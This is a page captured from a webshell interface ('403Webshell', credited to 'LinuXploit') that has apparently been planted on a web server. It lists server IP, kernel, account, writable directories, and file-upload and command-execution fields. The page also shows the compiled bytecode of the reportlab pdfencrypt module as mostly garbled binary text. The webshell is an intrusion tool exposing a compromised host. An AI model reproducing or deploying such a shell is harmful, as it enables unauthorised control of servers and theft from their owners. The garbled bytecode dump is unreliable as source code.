403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportlab/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportlab/lib/__pycache__/pdfencrypt.cpython-311.pyc
�

}G�b�w���dZ	ddlZddlZddlmZmZddlmZddlm	Z	ddl
mZmZm
Z
mZddlmZddlmZdd	lmZdd
lmZ	ddlZddlmZn
#e$rdZYnwxYwd�ZdZdZejZd
ZdZ dZ!dZ"dZ#dZ$dZ%e&dd��D]
Z'e%d
e'zzZ%�ej(rda)dZ*d�Z+nej,Z+Gd�d��Z-Gd�de��Z.dZ/d�Z0d�Z1e
d�2d�e/�3���4��D������Z5d �Z6d5d!�Z7d"�Z8e5ddfd#�Z9d$�Z:d5d%�Z;d&�Z<d'�Z=			d6d)�Z>Gd*�d+e-e��Z?			d6d,�Z@			d6d-�ZA			d6d.�ZBd/�ZCd0�ZDeEd1krUd2�ejFD��ZGeGr!d3�ejFD��e_FeHeG��Zd4ejFvre=��dSeD��dSdS)7z3.3.0�N)�hexlify�	unhexlify)�md5)�BytesIO)�asBytes�int2Byte�rawBytes�asNative)�Canvas)�	PDFObject)�Flowable)�	rl_config)�sha256c�J���dkr|St�fd�|D����S)z9xor's each byte of the key with the number, which is <256rc3�"�K�|]	}�|zV��
dS�N�)�.0�k�nums  ��:/usr/lib/python3/dist-packages/reportlab/lib/pdfencrypt.py�	<genexpr>zxorKey.<locals>.<genexpr>s'�����$�$�1��Q��$�$�$�$�$�$�)�bytes)r�keys` r�xorKeyrs3���
�A�v�v�c�z��$�$�$�$��$�$�$�$�$�$r������ ��s��ܫovp��\C��B~���Eg8�f�Sj'y�G�Y��-�Q����L>��i�Ĵ'�k��p�ͪ�|��� ��Ǘ�;��,������\H}
܅��>|ŗ�T�T���!�+E#��O�j�"�ˌHB�B~�7��1.ש
�2}��m�3�/�W���K�;?�#�`W��입����#�������z��O��(z����i��!	|w,�I�_D`A�}+r-%F(@�\cL2(��BM��UG������c�p�d�t|��D��}t|��}t|zdza|S)Nc�>�g|]}t|tzdz��S)�)�_os_random_b�_os_random_x)r�is  r�
<listcomp>zos_urandom.<locals>.<listcomp>2s&��B�B�B�A�\�1�\�>�3�.�
/�B�B�Brr')�rangerr))�n�bs  r�
os_urandomr/0s:��B�B��q���B�B�B���!�H�H��$�q�(�C�/���rc�@�eZdZdZdd�Zd�Zd�Zd�Zdd�Zd	�Z	d
�Z
dS)
�StandardEncryptionrNrc��||_|r||_n||_|�tj}|dkrd|_nQ|dkrd|_nC|dkrt
st
d���d|_nt
d	t|��z���||_||_	||_
||_dx|_x|_
x|_x|_x|_x|_|_dS)
a*
        This class defines the encryption properties to be used while creating a pdf document.
        Once initiated, a StandardEncryption object can be applied to a Canvas or a BaseDocTemplate.
        The userPassword parameter sets the user password on the encrypted pdf.
        The ownerPassword parameter sets the owner password on the encrypted pdf.
        The boolean flags canPrint, canModify, canCopy, canAnnotate determine wether a user can
        perform the corresponding actions on the pdf when only a user password has been supplied.
        If the user supplies the owner password while opening the pdf, all actions can be performed regardless
        of the flags.
        Note that the security provided by these encryption settings (and even more so for the flags) is very weak.
        N�(r��r'�Astrength==256 is not supported as package pyaes is not importable��Unknown encryption strength=%s)�userPassword�
ownerPasswordr�encryptionStrength�revision�pyaes�
ValueError�repr�canPrint�	canModify�canCopy�canAnnotate�O�U�Pr�OE�UE�Perms)�selfr9r:r@rArBrC�strengths        r�__init__zStandardEncryption.__init__<s���)����	.�!.�D���!-�D���� �3�H��r�>�>��D�M�M�
��_�_��D�M�M�
��_�_��
f� �!d�e�e�e��D�M�M��=��X���N�O�O�O� ��
�"������&���PT�T���T���T�$�&�T�4�8�T�d�g�T���$�*�*�*rc�>�|x|_x|_x|_|_dSr)r@rArBrC)rJ�values  r�setAllPermissionsz$StandardEncryption.setAllPermissions^s0��!�	!��
�	!���	!������rc��d}|jr
|tz}|jr
|tz}|jr
|t
z}|jr
|tz}|tz}|S)Nr)	r@�	printablerA�
modifiablerB�copypastablerC�annotatable�
higherbits)rJ�ps  r�permissionBitsz!StandardEncryption.permissionBitscsW��
���=�+�a�)�m�!��>�-�q�:�~�1��<�-�Q��-����0��[��Q�
�
�N���rc��|jstd���|j�td���t|j|j|j||j���S)zencode a string, stream, text�encryption not prepared!Nznot registered in PDF object�r<)�preparedr>�objnum�	encodePDFr�versionr<)rJ�ts  r�encodezStandardEncryption.encodeksS���}�	9��7�8�8�8��;���;�<�<�<����4�;���a�$�-�X�X�X�Xrc�d
�trtd|jz��|jrt	d���|r|}n6|���}|j���}trd}tr@td|j	z��td|j
z��td|z��t|���dz
��|_
trd|_
tr$td	t|j
��z��|jd
k�ryd}t!d��}t!d��}t#t!d
����|_trbtdt'|��z��tdt'|��z��tdt'|j��z��t)t#|j	dd���|z��}|���|z|z|_tr$tdt'|j��z��t)t#|j	dd���|z��}t-jt-j|���|�����}	|	�|j��|_|xj|	���z
c_tr$tdt'|j��z��t!d��}
t!d��}t)t#|j
dd���|
z|jz��}|���|
z|z|_tr$tdt'|j��z��t)t#|j
dd���|z|jz��}t-jt-j|���|�����}	|	�|j��|_|xj|	���z
c_tr$tdt'|j��z��|j
dz|j
dz	dz|j
dz	dz|j
dz	dzddddt;d��t;d��t;d��t;d��ddddg}t-jt-j|j|�����}	|	�t=|����|_|xj|	���z
c_tr$tdt'|j��z��n�|jd vr�tA|j	|j
|j��|_tr$td!t'|j��z��tC|j	|j|j
||j�"��|_tr$tdt'|j��z��tE|j|j|�#��|_tr$td$t'|j��z��dx|_#|_$d|_dS)%Nz-StandardEncryption.prepare(...) - revision %dzencryption already prepared!�xxxxxxxxxxxxxxxxzuserPassword    = %rzownerPassword   = %rzinternalID      = %rli���zself.P          = %sr7sr r"zuvs      (hex)  = %szuks      (hex)  = %szself.key (hex)  = %s�zself.U (hex)  = %s��ivzself.UE (hex)  = %szself.O (hex)  = %szself.OE (hex)  = %s�r!��T�a�dr.rzself.Perms (hex)  = %s�rr5zself.O (as hex) = %srZ)r<�
documentIdzself.U (as hex) = %s)%�DEBUG�printr<r[r>�ID�	signature�digest�	CLOBBERIDr9r:�intrWrF�CLOBBERPERMISSIONSr?r/rr�hexTextrrEr=�	Encrypter�AESModeOfOperationCBC�feedrHrDrG�ordrrI�computeO�
encryptionkey�computeUr\r^)
rJ�document�
overrideID�
internalID�
externalIDre�uvs�uks�md�	encrypter�ovs�oks�permsarrs
             r�preparezStandardEncryption.preparers����X�%�G�$�-�W�X�X�X��=�	=��;�<�<�<��	0�#�J�J�!�����J�!�+�2�2�4�4�J��
0�/�
��	7��(�4�+<�<�=�=�=��(�4�+=�=�>�>�>��(�:�5�6�6�6��T�(�(�*�*�U�2�3�3����+��t�v��	9��(�4���<�<�7�8�8�8��=�A����B��Q�-�-�C��Q�-�-�C��z�"�~�~�.�.�D�H��
B��,�w�s�|�|�;�<�<�<��,�w�s�|�|�;�<�<�<��,�w�t�x�/@�/@�@�A�A�A���� 1�$�3�$� 7�8�8�3�>�?�?�B��Y�Y�[�[�3�&��,�D�F��
>��*�W�T�V�_�_�<�=�=�=���� 1�$�3�$� 7�8�8�3�>�?�?�B����(C�B�I�I�K�K�TV�(W�(W�(W�X�X�I��n�n�T�X�.�.�D�G��G�G�y�~�~�'�'�'�G�G��
@��+�g�d�g�.>�.>�>�?�?�?��Q�-�-�C��Q�-�-�C���� 2�4�C�4� 8�9�9�C�?�$�&�H�J�J�B��Y�Y�[�[�3�&��,�D�F��
>��*�W�T�V�_�_�<�=�=�=���� 2�4�C�4� 8�9�9�C�?�$�&�H�I�I�B����(C�B�I�I�K�K�TV�(W�(W�(W�X�X�I��n�n�T�X�.�.�D�G��G�G�y�~�~�'�'�'�G�G��
@��+�g�d�g�.>�.>�>�?�?�?���t�#���!��t�#���"��t�#���"��t�#������C����C����C����C�������!�H�(���(C�D�H�QS�(T�(T�(T�U�U�I�"����h���8�8�D�J��J�J�)�.�.�*�*�*�J�J��
F��.����1D�1D�D�E�E�E��
�]�f�
$�
$��d�/��1C�T�]�S�S�D�F��
@��,�w�t�v���>�?�?�?�%�T�%6�����
�]a�]j�k�k�k�D�H��
B��,�w�t�x�/@�/@�@�A�A�A��d�h���:�V�V�V�D�F��
@��,�w�t�v���>�?�?�?�%)�)���d�l���
�
�
rc�N�|jstd���||_||_dS)NrY)r[r>r\r^)rJr\r^s   r�registerzStandardEncryption.register�s-���}�	9��7�8�8�8��������rc	��|jstd���t|j|j|j|j|j|j|j	���S)NrY�rDrGrErHrFrIr<)
r[r>�StandardEncryptionDictionaryrDrGrErHrFrIr<�rJs r�infozStandardEncryption.info�s`���}�	9��7�8�8�8�+�d�f���D�F�t�w�Z^�Z`�hl�hr�~B�~K�L�L�L�	Lr)NrrrrNr)�__name__�
__module__�__qualname__r[rLrOrWr`r�r�r�rrrr1r1:s��������H�!U�!U�!U�!U�D!�!�!�
���Y�Y�Y�{�{�{�{�x���L�L�L�L�Lrr1c��eZdZdZd�Zd�ZdS)r�rc�n�||||||f\|_|_|_|_|_|_||_dSrr�)rJrDrGrErHrFrIr<s        rrLz%StandardEncryptionDictionary.__init__�s9��@A�2�q�"�a�QV�@V�=�����$�&�$�'�4�6�4�:� ��
�
�
rc���ddlm}m}m}|��}|d��t	|j��t	|j��|jd�}|jdkr�d|d<d|d<d|d	<t	|j��|d
<t	|j��|d<t	|j	��|d<t	|j
��|d
<t	|j��|d<|d��|d<|d��|d<d|d��|d��d�}d||��i}||��|d<n%|jdkrd|d<d|d<d|d	<n
d|d<d|d	<||��}	|	�|��S)Nr)�DummyDoc�
PDFDictionary�PDFName�Standard)�FilterrDrErFr7r'�Length�R�VrDrErGrHrI�StdCF�StrF�StmFr"�DocOpen�AESV3)r��	AuthEvent�CFM�CFr5r4rr)
�reportlab.pdfbase.pdfdocr�r�r�rurDrErFr<rGrHrI�format)
rJr}r�r�r��dummy�dict�stdcf�cf�pdfdicts
          rr�z#StandardEncryptionDictionary.format�s���M�M�M�M�M�M�M�M�M�M���
�
��!�'�*�-�-��T�V�_�_��T�V�_�_��V�����=�A��� �D��N��D��I��D��I������D��I������D��I� ���)�)�D��J� ���)�)�D��J�#�D�J�/�/�D��M�"�7�7�+�+�D��L�"�7�7�+�+�D��L��$�W�Y�/�/��w�w�'�'���E����u�-�-��B�'��r�*�*�D��J�J�
�]�a�
�
� �D��N��D��I��D��I�I��D��I��D��I��-��%�%���~�~�e�$�$�$rN)r�r�r��__RefOnly__rLr�rrrr�r��s7�������K�!�!�!�&%�&%�&%�&%�&%rr�za
28 BF 4E 5E 4E 75 8A 41 64 00 4E 56 FF FA 01 08
2E 2E 00 B6 D0 68 3E 80 2F 0C A9 FE 64 53 69 7A
c�~�dttt|���������zS)z'a legitimate way to show strings in PDFz<%s>)r
rr	�upper)�texts rruru-s/���H�W�X�d�^�^�4�4�5�5�;�;�=�=�=�=rc��t|ddd��t|ddd��t|dd���S)Nr�<zbad hex text����>r)�
equalityCheckr)rus r�	unHexTextr�1sD���'�!�*�c�>�2�2�2��'�"�+�s�N�3�3�3��W�Q�r�T�]�#�#�#r�c#�PK�|]!}tt|d����V��"dS)r!N)�chrrs)r�cs  rrr6s0����N�N��S��Q����_�_�N�N�N�N�N�Nrc���|�\tj}|dkrd}nG|dkrd}n>|dkrtstd���d}ntdt	|��z���|S)	Nr3rr4r5r'r6r7r8)rr;r=r>r?)r<rKs  r�
checkRevisionr�8sw�����/���r�>�>��H�H�
��_�_��H�H�
��_�_��
f� �!d�e�e�e��H�H��=��X���N�O�O�O��Orc��t|��}t|��tz}|dd�}|}d}td��D]!}|dz}|dz	}|t	|dz��z
}�"tt|����}	|	�t|����|	�t|����|	�t|����|	���}
|dkr|
dd�}nC|d	kr=td
��D]#}t|
�����}
�$|
dd�}tr/tdtd
�||||||fD����z��|S)Nr"rrrfr r'rr7r5�2r!z"encryptionkey(%s,%s,%s,%s,%s)==>%sc�F�g|]}tt|������Sr�ru�str�r�xs  rr+z!encryptionkey.<locals>.<listcomp>es=��BV�BV�BV�VW�'�#�a�&�&�/�/�BV�BV�BVr)r�r�	PadStringr,rr�updaterqrmrn�tuple)
�password�OwnerKey�Permissions�FileId1r<rV�permissionsStringr*�byte�hash�	md5outputrr�s
             rr{r{Gs����X�&�&�H�
�x� � �9�,�H�����}�H��A���
�1�X�X�2�2���D���
�q�D���X�d�S�j�1�1�1����w�x� � �!�!�D��K�K���!�!�"�"�"��K�K��)�*�*�+�+�+��K�K��� � �!�!�!����
�
�I���{�{�����m���	�1����r���	0�	0�A��I���-�-�/�/�I�I�����n���X�e�8�5�BV�BV�\d�fn�p{�~E�GO�QT�\U�BV�BV�BV�<W�<W�W�X�X�X��Jrc��ddlm}|dvs
Jd|z���|s|}t|��tz}|dd�}t|��tz}|dd�}t	|�����}trgtdtt���dt|���dt|���d	t|���d
t|���d|����|dkr'||dd
����	|��}n�|dkrtd��D]#}	t	|�����}�$|dd�}|}td��D]0}	t|	|��}
||
���	|��}�1tr-tdtd�||||fD����z��|S)Nr��ArcIVrkzUnknown algorithm revision %sr"z
PadString=z

ownerPad=z

password=z	
userPad=z
digest=z

revision=rr7r5r�r!�zcomputeO(%s,%s,%s)==>%sc�F�g|]}tt|������Srr�r�s  rr+zcomputeO.<locals>.<listcomp>�s$��6z�6z�6z�1�w�s�1�v�v���6z�6z�6zr)
�reportlab.lib.arcivr�rr�rrqrmrn�asciir`r,rr�)r9r:r<r��ownerPadr��userPadrqrDr*�thisKeys           rrzrzhsz��)�)�)�)�)�)��u����=��H�����%�$�
��}�%�%�	�1�H���"��~�H��|�$�$�y�0�H��s��s�m�G�
��]�]�
!�
!�
#�
#�F��}�e�e�di�js�dt�dt�dt�dt�uz�|D�vE�vE�vE�vE�FK�LT�FU�FU�FU�FU�V[�\c�Vd�Vd�Vd�Vd�ej�kq�er�er�er�er�s{�s{�|�}�}�}��1�}�}��E�&��!��*���$�$�W�-�-���	�Q����r���	*�	*�A���[�[�'�'�)�)�F�F����������r���	)�	)�A��Q��'�'�G���g���%�%�a�(�(�A�A��|�e�-��6z�6z�Q]�_l�nv�wx�Py�6z�6z�6z�0{�0{�{�|�|�|��Hrc��t|��}ddlm}|dkr||���|��}n�|dkr�|�
Jd���t	t
��}|�t|����|���}||���|��}tdd��D]0}t||��}	||	���|��}�1t|��dkr|d	z
}t|��dk�|}tr.td
td�|||||fD����z��|S)Nrr�rr5z+Revision 3 algorithm needs the document ID!rr�r"�zcomputeU(%s,%s,%s,%s)==>%sc�F�g|]}tt|������Srr�r�s  rr+zcomputeU.<locals>.<listcomp>�s6��:M�:M�:M�a�'�#�a�&�&�/�/�:M�:M�:Mr)r�r�r�r`rr�r�r	rqr,r�lenrmrnr�)
r{�encodestringr<rlr��result�h�tmpr-r�s
          rr|r|�s����X�&�&�H�)�)�)�)�)�)��1�}�}���}�%�%�,�,�\�:�:���	�Q����%�%�'T�%�%�%��	�N�N��	����*�%�%�&�&�&��h�h�j�j���e�M�"�"�)�)�#�.�.���q����	-�	-�A��Q�
�.�.�G��%��.�.�'�'��,�,�C�C��#�h�h��m�m��5�L�C��#�h�h��m�m����O�e�0�5�:M�:M�Ta�co�px�zD�EK�TL�:M�:M�:M�4N�4N�N�O�O�O��Mrc���t||��}|tkrCt|��tt��krtd���td���dS)Nz&lengths don't match! (password failed)z;decode of U doesn't match fixed padstring (password failed))r|r�r�r>)r{rE�decodeds   r�checkUr��sY���}�a�(�(�G��	����w�<�<��Y���'�'��E�F�F�F��V�W�W�W��rc���t|��}|dvr�|}|}td��D]}|t|dz��z
}|dz	}�|}td��D]}|t|dz��z
}|dz	}�t|�����}|dkr|dd�}n|dkr|}dd	lm}	|	|���|��}
n�|d
kr�td��}tj
tj||�����}t|��}
d
}|
dkrd|
dzz
nd|
z
}|dkrt|��|z}t|t��r||z�d��}n|t!|��z
}||�|��z}
|
|���z
}
t$r/t'dt)d�||||||
fD����z��|
S)zEncodes a string or streamrkr5rfr rN�
rr�r7r!rdr�zutf-8zencodePDF(%s,%s,%s,%s,%s)==>%sc�F�g|]}tt|������Srr�r�s  rr+zencodePDF.<locals>.<listcomp>�s7��>Z�>Z�>Z�RS�g�c�!�f�f�o�o�>Z�>Z�>Zr)r�r,rrrqr�r�r`r/r=rvrwr�r��
isinstancer�rrxrmrnr�)r�objectNumber�generationNumber�stringr<�newkeyr-r*r�r��	encryptedrer��
string_len�padding�padding_lens                rr]r]�sg���X�&�&�H��5��������q���	�	�A��h�q�4�x�(�(�(�F��1��A�A����q���	�	�A��h�q�4�x�(�(�(�F��1��A�A���K�K�&�&�(�(�	��q�=�=��C�R�C�.�C�C�
��]�]��C�-�-�-�-�-�-��E�#�J�J�%�%�f�-�-�	�	�	�Q���
��^�^���O�E�$?���$K�$K�$K�L�L�	���[�[�
���2<�r�/�/�r�Z�"�_�-�-��Z�����?�?��+�&�&��4�G��f�c�"�"�	'��w�&�.�.�w�7�7�F�F��g�g�&�&�&�F������/�/�/�	��Y�^�^�%�%�%�	��\�e�4�u�>Z�>Z�X[�]i�k{�~D�FN�OX�XY�>Z�>Z�>Z�8[�8[�[�\�\�\��rc�6�||ksJ|�d|�d|�����dS)Nz
 expected=z
 observed=r)�observed�expected�labels   rr�r��s4���X����%�%�%����QY�QY�Z�����rc�f�tddd���}|�dd���d}d}d	}tt|j��|d
��tt|j��|d��tt|j��|d��td
dd���}|�dd���d}d}d}tt|j��|d��tt|j��|d��tt|j��|d��dS)N�User�Ownerr3�rKrb)r~zB<FA7F558FACF8205D25A7F1ABFA02629F707AE7B0211A2BB26F5DF4C30F684301>zB<09F26CF46190AF8F93B304AD50C16B615DC43C228C9B2D2EA34951A80617B2B1>z<BB2C00EB3D>z40 bit O valuez40 bit U valuez40 bit key value�userpass�	ownerpassr4zB<68E5704AC779A5F0CD89704406587A52F25BF61CADC56A0F8DB6C4DB0052534D>zB<A9AE45CDE827FE0B7D6536267948836A00000000000000000000000000000000>z"<13DDE7585D9BE366C976DDD56AF541D1>z128 bit O valuez128 bit U valuez
128 key value)r1r�r�rurDrEr)�enc�	expectedO�	expectedU�expectedKeys    r�testr��s#��
�V�G�b�
9�
9�
9�C��K�K��!3�K�4�4�4�T�I�T�I� �K��'�#�%�.�.��,<�=�=�=��'�#�%�.�.��,<�=�=�=��'�#�'�"�"�;�0B�C�C�C��Z��c�
B�
B�
B�C��K�K��#5�K�6�6�6�T�I�T�I�6�K��'�#�%�.�.�)�->�?�?�?��'�#�%�.�.�)�->�?�?�?��'�#�'�"�"�K��A�A�A�A�Arr3c	�J�t|||||||���}||j_dS)z2Applies encryption to the document being generatedr�N)r1�_doc�encrypt)	�canvasr9r:r@rArBrCrKr�s	         r�
encryptCanvasr�s:���\�=�%�y�'�;�&.�0�0�0�C��F�K���rc��eZdZdZd�Zd�ZdS)�EncryptionFlowablez�Drop this in your Platypus story and it will set up the encryption options.

    If you do it multiple times, the last one before saving will win.c��dS)N)rrr)rJ�
availWidth�availHeights   r�wrapzEncryptionFlowable.wraps���urc	�v�t|j|j|j|j|j|j|j��dSr)r�canvr9r:r@rArBrCr�s r�drawzEncryptionFlowable.draw	sC���d�i��'��(��m��n��l��&�
	(�	(�	(�	(�	(rN)r�r�r��__doc__r	rrrrrrs>������I�I����(�(�(�(�(rrc� �td���)z*For use in Platypus.  Call before build().zNot implemented yet)�	Exception)�dtr9r:r@rArBrCrKs        r�encryptDocTemplaters��
�)�
*�
*�*rc
�p�	ddlm}m}	n#t$rtd���wxYw||dd���\}
}t	|
�����}|
ddd�}
t
��}t||
�	��}trd
|j	_
|	||��}|D]N}|�|
|dd���|�|��|�
���Ot||||||||���|���|���S)aaccepts a PDF file 'as a byte array in memory'; return encrypted one.

    This is a high level convenience and does not touch the hard disk in any way.
    If you are encrypting the same file over and over again, it's better to use
    pageCatcher and cache the results.r)�storeFormsInMemory�restoreFormsInMemoryz~reportlab.lib.pdfencrypt.encryptPdfInMemory failed because rlextra cannot be imported.
See https://www.reportlab.com/downloadsr)�all�BBoxes�
PageForms0rN)�pagesizez&[(xxxxxxxxxxxxxxxx)(xxxxxxxxxxxxxxxx)]r�)�rlextra.pageCatcher.pageCatcherrr�ImportError�list�keysrrrrr�_ID�setPageSize�doForm�showPager�save�getvalue)�inputPDFr9r:r@rArBrCrKrr�bboxInfo�pickledForms�names�
firstPageSize�bufr�	formNames�formNames                  r�encryptPdfInMemoryr+sv��,�\�\�\�\�\�\�\�\�\���,�,�,��+�,�,�	,�,���� 2�1�(��!�L�L�L��X�|�������!�!�E��\�*�1�2�2�.�M��)�)�C��#�
�.�.�.�D��A�@��	�
�$�$�\�4�8�8�I���������(�+�A�B�B�/�0�0�0����H�����
�
������$��
��I�w��#�%�%�%�%�	�I�I�K�K�K��<�<�>�>�s��%c	
���t|d�����}	t|	|||||||���}
t|d���|
��t	|
��S)z>Creates encrypted file OUTPUTFILENAME.  Returns size in bytes.�rbr��wb)�open�readr+�writer�)�
inputFileName�outputFileNamer9r:r@rArBrCrKr#�	outputPDFs           r�encryptPdfOnDiskr5Esr���M�4�(�(�-�-�/�/�H�"�8��
��I�w��,4�6�6�6�I�	�����$�$�Y�/�/�/��y�>�>�rc�h	�tjdd�}d}gd�}d}d}d}d}d}d}d}	|d}
t|��dd�}t|��dk�rG|ddks|ddkrt	|��dSt|��d	krtd
���|d|vrD|d}|dd�}tj�|��std|z���ntd���d
}
dD]%\}}|D]}||vr|}
|�	|����&d|vsd|vr�d|vr|�
d��}d}nd|vr|�
d��}d}	t||dz��}n	#d}YnxYw|�	||dz��|�	|��nddlm
}dd|dfdd|dfdd|dfdd|dfdd|dfdd|dfdd|d fd!d|d fd"d#|d$fd%d#|d$fd&d'|d(fd)d'|d(fd*d+|	d,fd-d+|	d,ff}d.}|D�],}|d|v�r|�
|d��}|d|vr%||dzd/vrtd0|dz���	||dz|vr�|d|vr&t|dd1zt����n%t|dd2zt����|r$t	|d3�d4||dz�d5���|�	||dz��|�	|d����#d6|d3z�xYw��.|d7kr�t	d8|��t	d9|
��t	d:|	��t	d;|��t	d<|��t	d=|��t	d>|��t	d?|��t	d@|��t	d:|	��t	dA|��|	dkr.|dBd�dCks|dBd�dDkr|ddB�}n|}|dEz}	t!||	|||||||
�F�	�	}|rt	dG|	�dH|�dI|�dJ|�dK�	��t|��dkr*tdLt#|��ddM��dN|�����dSt	|��dS)ONanPDFENCRYPT USAGE:

PdfEncrypt encrypts your PDF files.

Line mode usage:

% pdfencrypt.exe pdffile [-o ownerpassword] | [owner ownerpassword],
	[-u userpassword] | [user userpassword],
	[-p 1|0] | [printable 1|0],
	[-m 1|0] | [modifiable 1|0],
	[-c 1|0] | [copypastable 1|0],
	[-a 1|0] | [annotatable 1|0],
	[-s savefilename] | [savefile savefilename],
	[-v 1|0] | [verbose 1|0],
	[-e128], [encrypt128],
	[-h] | [help]

-o or owner set the owner password.
-u or user set the user password.
-p or printable set the printable attribute (must be 1 or 0).
-m or modifiable sets the modifiable attribute (must be 1 or 0).
-c or copypastable sets the copypastable attribute (must be 1 or 0).
-a or annotatable sets the annotatable attribute (must be 1 or 0).
-s or savefile sets the name for the output PDF file
-v or verbose prints useful output to the screen.
      (this defaults to 'pdffile_encrypted.pdf').
'-e128' or 'encrypt128' allows you to use 128 bit encryption (in beta).
'-e256' or 'encrypt256' allows you to use 256 bit encryption (in beta AES).

-h or help prints this message.

See PdfEncryptIntro.pdf for more information.
)�-o�owner�-u�user�-prQ�-mrR�-crS�-arT�-s�savefile�-v�verbose�-h�help�-e128�
encrypt128�-e256�
encryptAESr�rz
encrypted.pdfrrCrDrz2Must include a filename and one or more arguments!zCan't open input file '%s'!z2First argument must be name of the PDF input file!r3))r4)rErF)r')rG�
encrypt256rArB)rBr7�OWNERzOwner passwordr8r9�USERz
User passwordr:r;�	PRINTABLEz'Printable'rQr<�
MODIFIABLEz'Modifiable'rRr=�COPYPASTABLEz'Copypastable'rSr>�ANNOTATABLEz
'Annotatable'rTr?�SAVEFILEzOutput filer@)r;rQr<rRrSr=rTr>)�1�0z#%s value must be either '1' or '0'!z = int(argv[pos+1])z = argv[pos+1]r5z
 set to: 'z'.zUnable to set %s.rz
infile:z	STRENGTH:z	SAVEFILE:zUSER:zOWNER:z
PRINTABLE:zMODIFIABLE:z
COPYPASTABLE:zANNOTATABLE:zVERBOSE:���z.pdfz.PDFz_encrypted.pdfr�zwrote output file 'z'(z bytes)
  owner password is 'z'
  user password is '�'z
Unrecognised arguments : r�z
known arguments are:
)�sys�argvrr�rnr>�os�path�isfile�remove�indexrs�reportlab.rl_configrB�exec�varsr5r�)�sys_argv�usage�known_modesrJrKrLrMrNrOrP�callerrV�infile�STRENGTH�s�_ari�pos�argrB�arglist�binaryrequired�thisarg�tinfile�filesizes                         r�scriptInterprnTsD���x����{�H� 
�E�D���K��E��D��I��J��L��K�"�H��a�[�F���>�>�!�"�"��D�
�4�y�y��{�{���7�d�?�?�d�1�g��/�/��%�L�L�L��F��t�9�9�Q�;�;��Q�R�R�R���7�+�%�%��!�W�F�����8�D��7�>�>�&�)�)�
I� �!>��!G�H�H�H�
I��Q�R�R�R���Q�	#�	#�F�Q�r��
#�
#����9�9� �H��K�K��N�N�N��
#�

�D�L�L�i�4�/�/��t�|�|��j�j��&�&������d�"�"��j�j��+�+����
��d�3�q�5�k�*�*����
���������K�K��S��U��$�$�$��K�K������3�3�3�3�3�3��'�5�*:�;��W�e�-=�>��&�$��8��F�D�/�:��+�y�-�@���i��G��,�
�N�C� �,��^�L��.�,�8H�I�"�N�L�BR�S��-��o�F�!�=�+��O��*�h�
�>��
�H�m�D��� l���	;�	;�G��q�z�T�!�!��j�j����,�,���1�:��/�/��C��E�{�*�4�4�(�)N�QX�YZ�Q[�)[�\�\�\�;��C��E�{�+�5�5�"�1�:��7�7� ����-B�!B�4�6�6�J�J�J�J� ����-=�!=�d�f�f�E�E�E�"�R�!���
�
�
�D��Q��K�K�K�"P�Q�Q�Q����D��Q��K�0�0�0����G�A�J�/�/�/���;�-���
�:�:����!"�$�1�9�9��+�v�&�&�&��+�x�(�(�(��+�x�(�(�(��'�4� � � ��(�E�"�"�"��,�	�*�*�*��-��,�,�,��/�<�0�0�0��.�+�.�.�.��+�x�(�(�(��*�g�&�&�&���&�&��b�c�c�{�f�$�$��r�s�s��v�(=�(=� ��"��+��� ���/�/�H�#�F�H�d�E��Z��{�-5�7�7�7���	M��E�ks�ks�ks�u}�u}�u}�@E�@E�@E�GK�GK�GK�L�
M�
M�
M��t�9�9�Q�;�;��*�Z]�^b�Zc�Zc�de�fh�dh�Zi�Zi�Zi�kv�kv�w�x�x�x��;�	�e�����s�.F�F
�/CL2�2
L?c�"�t��dSr)rnrrr�mainrp�s���N�N�N�N�Nr�__main__c�.�g|]}|dd�dk�|��S�N�z--debugrr�s  rr+r+s*��1�1�1�q��"�1�"��y� 0� 0�� 0� 0� 0rc�.�g|]}|dd�dk�|��Srsrr�s  rr+r+s*��<�<�<�!�1�R�a�R�5�)�+;�+;�A�+;�+;�+;rz--testr)Nrrrrr3)I�__version__rUrW�binasciirr�hashlibr�ior�reportlab.lib.utilsrrr	r
�reportlab.pdfgen.canvasrr�r�reportlab.platypus.flowablesr
�	reportlabrr=rrrrrrt�debugrm�	reserved1�	reserved2rQrRrSrTrUr,r*�	invariantr)r(r/�urandomr1r�r�rur��join�strip�splitr�r�r{rzr|r�r]r�r�rrrr+r5rnrpr�rVrir�rrr�<module>r�sf��
��+���������'�'�'�'�'�'�'�'�������������E�E�E�E�E�E�E�E�E�E�E�E�*�*�*�*�*�*�.�.�.�.�.�.�1�1�1�1�1�1���������L�L�L��������������E�E�E�����%�%�%�
�	������
�	��	��	�
�
�����
�
�	��q����%�%�A��q�!�t�$�J�J���
��L�|�L�������J�~L�~L�~L�~L�~L�~L�~L�~L�@+%�+%�+%�+%�+%�9�+%�+%�+%�\��
>�>�>�$�$�$�

�H�R�W�W�N�N�g�m�m�o�o�6K�6K�6M�6M�N�N�N�N�N�O�O�	�
�
�
�����B
�
�
�8*3�D�D�����(X�X�X�,�,�,�,�\[�[�[�B�B�B�@/3�BC��	�	�	�	�(�(�(�(�(�+�X�(�(�(�(/3�BC� "�+�+�+�+�/3�BC� "�'�'�'�'�T/3�BC� �����i�i�i�V����Z���1�1�C�H�1�1�1�A���<�<�s�x�<�<�<�����A�����3�8���T�T�V�V�V�V�V�
�$�&�&�&�&�&�
�s�
A�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit